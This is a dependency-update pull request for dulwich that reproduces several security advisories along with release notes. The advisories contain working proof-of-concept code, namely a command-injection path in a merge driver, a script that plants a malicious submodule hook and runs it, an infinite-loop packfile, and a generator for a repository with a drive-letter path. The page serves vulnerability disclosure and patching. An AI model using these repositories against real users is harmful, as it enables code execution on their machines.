Skip to content

Update dependency dulwich to v1.2.9 [SECURITY] - #112

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-dulwich-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-dulwich-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Nov 9, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
dulwich 1.1.0 → 1.2.9 age confidence

Dulwich has an arbitrary file write via NTFS-hostile tree entries on Windows

CVE-2026-42305 / GHSA-897w-fcg9-f6xj

More information

Details

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

  • \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then
    executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
  • : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
  • git~ — NTFS 8.3 short-name aliases of .git. Only the literal git1 was rejected; git2, git10, GIT1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

  • Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
  • Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
  • Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.
Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources
  • Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
  • CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
  • CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich Vulnerable to Command Injection via Merge Driver Path

CVE-2026-42563 / GHSA-9277-mp7x-85jf

More information

Details

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description
  • Type: Command Injection
  • Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
  • Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
  • Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.
Resources
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

##### Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

##### Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)

##### => Executes: echo x; touch /tmp/pwned #
##### => Shell runs: echo x, then touch /tmp/pwned
Fix

merge_drivers_shell_escape.patch

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich doesn't sanitize commit subjects in porcelain.format_patch

CVE-2026-47712 / GHSA-555p-6grf-mh7f

More information

Details

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

  • x/../../x produced /0001-x/../../x.patch, resolving
    two directories above outdir.
  • x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

  • Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
  • Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

  • Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
  • Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
  • Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.
Resources
  • Fix commit: jelmer/dulwich@c2446e51b
  • Affected API: dulwich.porcelain.format_patch / dulwich format-patch
  • Reference behavior: git's format_sanitized_subject in pretty.c

Severity

  • CVSS Score: 3.3 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich has unbounded memory allocation in receive-pack from crafted thin packs

CVE-2026-47734 / GHSA-xrvj-v92f-53gj

More information

Details

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) -
for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

  • Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
  • Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.
Resources
  • git's receive.maxInputSize / git index-pack --max-input-size documentation
  • Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @​ University of Sydney

Severity

  • CVSS Score: 5.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload

CVE-2026-52726 / GHSA-gfhv-vqv2-4544

More information

Details

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected
  • Package: dulwich (PyPI)
  • Affected versions: >=0.23.2, <1.2.5
  • Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

  • dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
  • dulwich.porcelain.clone(source, target, recurse_submodules=True)
  • dulwich submodule update CLI / dulwich clone --recurse-submodules CLI
Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

  1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
  2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
  3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).
Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

##### Attacker submodule contains a single file named "post-checkout"

##### with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

##### Victim parent has a .gitmodules and a tree gitlink, both pointing at

##### path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

##### Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

##### git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich: Symlink directory traversal in filter-branch index_filter via cross-commit state persistence

GHSA-5fqc-mrg8-w798

More information

Details

Summary

Dulwich's filter_branch.py CommitFilter._apply_index_filter() is vulnerable to symlink directory traversal. When processing commit history, materialized tree entries (including symlinks) persist in the working directory between commits, allowing a symlink from an ancestor commit to redirect file writes from a descendant commit to arbitrary filesystem locations.

Root Cause

_apply_index_filter() at dulwich/filter_branch.py:212 calls build_index_from_tree(".", tmp_index_path, ...) which materializes all tree entries to the current working directory. The finally block (line 229-230) only cleans up the temporary index file (os.unlink(tmp_index_path)) — NOT the filesystem files written to CWD. When process_commit() processes parents recursively first (line 260), files materialized from ancestor commits persist and affect processing of descendant commits.

On dulwich 1.2.7, build_file_from_blob() has no symlink protection, and validate_path_element only validates name patterns, not filesystem state.

Impact

An attacker can craft a malicious repository where running filter_branch with an index filter writes attacker-controlled content to arbitrary filesystem locations via symlink traversal. This achieves RCE if the write targets .git/hooks/.

Attack Scenario
  1. Attacker creates a repository where commit history (linearized) has:
    • Ancestor commit: tree entry evil (mode 120000, symlink → /target_dir)
    • Descendant commit: tree entry evil/payload (mode 100644, attacker content)
  2. Victim clones repository and runs filter_branch with an index filter
  3. process_commit() processes ancestor first → materializes evil as symlink to /target_dir in CWD
  4. CWD is NOT cleaned between commits
  5. Processing descendant: os.path.exists("./evil") → True (symlink exists). build_file_from_blob(blob, mode, "./evil/payload") → open("./evil/payload", "wb") follows intermediate symlink → writes to /target_dir/payload
Suggested Fix

Clean the CWD between commit iterations in _apply_index_filter(), or verify that no intermediate path components are symlinks before writing files.

Reported by zx (Jace)

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich: Symlink write-through in checkout(paths=[]) via raw os.open bypasses all symlink protections

GHSA-8w8g-wq8h-fq33

More information

Details

Summary

Dulwich's porcelain.checkout(paths=[...]) code path writes files using raw os.open(file_path, O_WRONLY|O_CREAT|O_TRUNC, mode) followed by f.write(obj.data). This code path does NOT call build_file_from_blob() at all, completely bypassing any symlink protections (including the unreleased d09f8af fix). os.open without O_NOFOLLOW follows symlinks at both the target file and intermediate directories, allowing arbitrary file writes.

Root Cause

At dulwich/porcelain/__init__.py:5661-5675, the checkout(paths=[...]) implementation:

file_path = _checked_worktree_path(r, path)
os.makedirs(os.path.dirname(file_path), exist_ok=True)
flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC
with os.fdopen(os.open(file_path, flags, mode), "wb") as f:
    f.write(obj.data)

_checked_worktree_path() (line 601-631) only performs name validation — checking that the path doesn't start with / or \\ and that components pass INVALID_DOTNAMES checks. It performs zero filesystem symlink detection.

Impact

An attacker can craft a malicious repository that, when a victim clones it and runs checkout(paths=[...]), writes attacker-controlled content (with attacker-controlled permissions) to any filesystem location accessible to the user. Writing to .git/hooks/post-checkout achieves RCE on the next git checkout.

Attack Scenario
  1. Attacker creates a repository where HEAD has trigger as a symlink (mode 120000, content ../../.git/hooks/post-checkout), and tag v1.0 has trigger as an executable file (mode 100755, content #!/bin/sh\nmalicious_payload)
  2. Victim clones the repository — worktree has trigger → ../../.git/hooks/post-checkout (a symlink)
  3. Victim runs porcelain.checkout(repo, target="v1.0", paths=["trigger"]) to restore a specific file from a tag
  4. _checked_worktree_path(r, "trigger") passes — name validation only, no symlink check
  5. os.open("trigger", O_WRONLY|O_CREAT|O_TRUNC, 0o755) follows the symlink → opens .git/hooks/post-checkout for writing
  6. f.write(obj.data) writes the malicious payload to the hook
  7. Next checkout operation triggers the hook → RCE
Suggested Fix

Replace the raw os.open path with a call to build_file_from_blob (once that function is hardened against intermediate symlinks), or add explicit symlink detection: resolve the path with os.path.realpath() and verify it stays within the worktree root before opening.

Reported by zx (Jace)

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich: Symlink directory traversal in stash pop allows arbitrary file write via intermediate directory symlinks

GHSA-cm62-gvxx-vmxx

More information

Details

Summary

Dulwich's stash.py:pop() function is vulnerable to symlink directory traversal, allowing an attacker to write arbitrary files outside the repository worktree when a victim pops a stash in a malicious repository.

Root Cause

The pop() function at dulwich/stash.py:236 uses os.path.exists(parent_dir) to check if a parent directory exists before writing stashed files. os.path.exists() follows symlinks, so when an intermediate directory in the path is a symlink pointing outside the worktree (e.g., link → ../../.git/hooks), the check passes and subsequent file writes resolve through the symlink.

The validate_path() function (line 228) only validates path component names against INVALID_DOTNAMES — it performs zero filesystem symlink detection. On dulwich 1.2.7 (latest release), build_file_from_blob() has no symlink protection whatsoever.

Impact

An attacker can craft a malicious repository that, when a victim clones it and performs a stash pop operation, writes attacker-controlled content to arbitrary filesystem locations. Writing to .git/hooks/post-checkout achieves Remote Code Execution on the victim's machine on the next git checkout operation.

Attack Scenario
  1. Attacker creates a repository with branch main containing link (symlink → ../../.git/hooks) and branch feature containing link/post-checkout (executable payload)
  2. Victim clones the repository (landing on main — symlink link exists in worktree)
  3. Victim checks out feature, makes changes, runs stash.push()
  4. Victim checks out main (restoring the link symlink)
  5. Victim runs stash.pop(0) — stash contains link/post-checkout
  6. os.path.exists("link") returns True (symlink to existing directory), os.makedirs skipped
  7. build_file_from_blob(blob, mode, "link/post-checkout") → open("link/post-checkout", "wb") follows the intermediate symlink → payload written to .git/hooks/post-checkout
  8. Next checkout operation triggers the hook → RCE
Suggested Fix

Before writing any file, verify that no component of the target path resolves through a symlink outside the worktree. Use os.path.realpath(parent_dir) and confirm it stays within the repository root. Alternatively, use os.open() with O_NOFOLLOW on each path component.

Reported by zx (Jace)

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution

GHSA-35mr-4567-66vg

More information

Details

Affected file
  • dulwich/pack.py (Method: Pack.resolve_object)
Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.

If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

Vulnerable Code Breakdown (dulwich/pack.py):

elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion
Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).

  1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
  2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
  3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.
POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:

from dulwich.pack import Pack
import struct, zlib, tempfile, os

##### Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

##### Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
Possible solution
  1. Explicit Guard: Add a check in Pack.resolve_object to reject delta_offset == 0:
    if delta_offset == 0:
        raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
  2. Recursion Depth: Implement a depth limit (e.g., MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths

GHSA-8mcx-5rqc-vhmf

More information

Details

Affected files
  • dulwich/index.py (Methods: validate_path_element_ntfs, _tree_to_fs_path)
  • dulwich/porcelain/__init__.py (Method: _checked_worktree_path)
Description / Summary

A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject .git variants, Alternate Data Streams (ADS), git~1 short names, and reserved device names, but they completely fail to check for DOS drive letter prefixes.

A malicious Git tree can contain an entry named C:. When Dulwich processes this tree on a Windows client, the string passes the validate_path_element_ntfs check. Later, _tree_to_fs_path passes this path to os.path.join(root, b"C:\\\\Users\\\\...").

On Windows, if the second argument to os.path.join contains an absolute drive letter, the root path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.

While the standard C git client explicitly blocks this via has_dos_drive_prefix() in path.c, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.

Potential impact

This vulnerability allows an attacker to achieve Arbitrary File Write, which can trivially be escalated to Remote Code Execution (RCE) or total system compromise on the victim's Windows machine.

Attack vectors include:

  1. Git Config Poisoning (RCE): Writing a malicious C:\\Users\\<victim>\\.gitconfig file to set core.sshCommand to an arbitrary executable, granting RCE the next time the user interacts with Git.
  2. Persistence (RCE): Dropping a malicious executable into C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\.
  3. SSH Key Overwrite: Writing to C:\\Users\\<victim>\\.ssh\\authorized_keys to compromise remote servers accessible by the victim.
  4. CI/CD Compromise: If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.
Proof of Concept (PoC)

The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.

from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile

repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)

##### 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)

##### 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil_txt = Tree();   evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir  = Tree(); users_dir[b"Users"]   = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)

##### VULNERABILITY: The "C:" directory bypasses validation
c_drive    = Tree(); c_drive[b"C:"]        = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)

commit = Commit()
commit.tree = c_drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <a@evil.example>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id

print(f"Malicious repo created at {repo_path}")
print(f"Clone with: dulwich clone {repo_path} /target/win/worktree")

##### Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

dulwich/dulwich (dulwich)

v1.2.9

Compare Source

Highlights of this release:

Security fixes

  • Reject checkout paths whose leading component is a DOS drive-letter prefix on Windows (e.g. C:), which os.path.join would otherwise treat as absolute and let a crafted tree write outside the work tree. (reported by Luke Baton)
  • Bound zlib decompression of pack entries and loose objects against decompression-bomb DoS. read_zlib_chunks now caps the inflated size at the declared decomp_len, and loose-object parsing accepts max_size defaulting to git's core.bigFileThreshold (512 MiB). (reported by Luke Bento)
  • Reject OFS_DELTA pack entries whose delta_base_offset is zero. Such an entry references itself, so Pack.resolve_object would loop forever growing its delta stack until OOM. (reported by Luke Banto)
  • Bound Transfer-Encoding: chunked request bodies in dulwich.web: strip chunk extensions, reject negative sizes, enforce per-chunk and per-request size limits, and cap requests that omit Content-Length.
  • Bound the running length when decoding EWAH bitmaps so a corrupt or malformed .bitmap index raises ValueError instead of hanging in an unbounded loop that exhausts memory.

Other changes

  • web: Reject smart HTTP git-upload-pack / git-receive-pack POSTs whose Content-Type is not the exact application/x-<service>-request value, matching git http-backend.
  • dulwich.web: Warn at startup that running python3 -m dulwich.web is not intended as a production web server (no authentication, etc.).

See NEWS for the full list.

v1.2.8

Compare Source

Security
  • GHSA-8w8g-wq8h-fq33: Write files through build_file_from_blob in path-restricted porcelain.checkout(paths=...) instead of a raw os.open. The old path followed a symlink left at the target, so a crafted repository could write attacker content outside the work tree (e.g. into .git/hooks) on checkout.
  • GHSA-5fqc-mrg8-w798: Build the temporary index for filter-branch --index-filter in memory instead of materializing tree entries into CWD. Persisted entries between commits let a symlink from an ancestor commit redirect a descendant's writes outside the work tree.
  • Refuse to write a stash entry through an intermediate symlink on stash.pop. The old os.path.exists check followed symlinks, so a crafted stash whose parent path was a symlink already present in the worktree (e.g. link -> .git/hooks) let the subsequent write land outside the work tree.
  • Refuse path-restricted porcelain.checkout, restore and reset_file writes whose leading directory is an existing symlink, so a crafted repository can no longer land sub as a link to .git/hooks and have a write to sub/anything traverse it.
  • Canonicalize file modes to 0o644/0o755 before chmod on checkout and patch apply, matching git. An untrusted tree entry or patch `new file mode` could otherwise set setuid/setgid/sticky or world-writable bits on a materialized file.
  • Reject non-hex pkt-line length prefixes in the protocol parser. int(sizestr, 16) accepted a leading -, whose negative length made the following `read(size - 4)` slurp the rest of the stream and caused `PktLineParser` to loop without consuming its buffer. (#​2267)
  • Escape the repository path passed to the remote in the SSH client, so a path containing a single quote can no longer close the quoting and have the remainder interpreted by the remote shell. (#​2254)
  • Reject an option-like host in TCPGitClient before invoking the core.gitProxy command, matching the SubprocessSSHVendor guard, so a URL like `git://-oProxyCommand=...` can no longer be interpreted as a flag by the proxy program. (#​2240)
  • Validate object ids in the object store and refs container. An id containing path separat

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

